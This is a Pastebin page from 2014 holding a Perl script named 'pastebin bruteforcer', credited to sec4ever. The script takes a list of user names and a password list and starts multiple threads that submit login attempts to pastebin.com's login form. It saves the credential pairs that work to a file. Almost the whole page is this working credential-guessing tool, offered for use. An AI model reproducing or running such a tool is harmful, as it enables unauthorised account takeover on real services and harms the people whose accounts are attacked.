Advertisement
m-a_labz

pastebin bruteforcer

May 4th, 2014
359
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.53 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # (c) sec4ever
  3. use WWW::Mechanize;
  4. use threads;
  5. $| = 1;
  6. $i = 0;
  7. print "[+] pastebin bruteforcer\n";
  8. print "[+] (c) sec4ever\n";
  9. if(!defined($ARGV[0] && $ARGV[1] && $ARGV[2]))
  10. {
  11. print " + user(s list): ";
  12. chomp($ulist = <stdin>);
  13. print " + pass list: ";
  14. chomp($plist = <stdin>);
  15. print " + max thread: ";
  16. chomp($mthr = <stdin>);
  17.  
  18. }
  19. else{
  20. $ulist = $ARGV[0];
  21. $plist = $ARGV[1];
  22. $mthr = $ARGV[2];
  23. }
  24. if($ulist =~ /\.txt/)
  25. {
  26. open(ul,"<".$ulist) or die $!;
  27. @ul = <ul>;
  28. }else{
  29. @ul = ($ulist);
  30. }
  31. open(pl,"<".$plist) or die $!;
  32. @pl = <pl>;
  33. close(ul,pl);
  34. open(found,">founds.txt");
  35. $countu = scalar(@ul);
  36. $countp = scalar(@pl);
  37. print "  + threads: ".$mthr."\n";
  38. foreach $u(@ul)
  39. {
  40. chomp($u);
  41. $i++;
  42. $j = 0;
  43. b:
  44. print "\n  + bruting $i/$countu ".$u."\n";
  45. foreach $p(@pl)
  46. {
  47. chomp($p);
  48. $j++;
  49. eval{
  50. push(@threads, threads->create (\&brute, $u,$p,$j));
  51. sleep(1) while(scalar threads->list(threads::running) >= $mthr);
  52. };
  53. }
  54. eval {
  55. $_->join foreach @threads;
  56. @threads = ();
  57. };
  58. }
  59. close(found);
  60. sub brute {
  61. $bf = WWW::Mechanize->new(timeout => 10);
  62. eval{
  63. $bf->get("http://pastebin.com/login.php");
  64. $bf->submit_form(
  65. form_id => "myform",
  66. fields =>
  67. {
  68. "user_name" => $_[0],
  69. "user_password" => $_[1],
  70. "submit" => "Login"
  71. });
  72. };
  73. if($bf->content() !~ /<title>Pastebin\.com - Login Page<\/title>/g && $bf->content() =~ /\"><a href=\"\/edit\.php\?i=/g)
  74. {
  75. print "\t\t#> $_[2]/$countp $u:$p Sucess\n";
  76. print found "$u:$p Sucess\n"
  77. }else{
  78. print "\t- $_[2]/$countp $u:$p Faild\n";
  79. #print $bf->content();
  80. }
  81. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement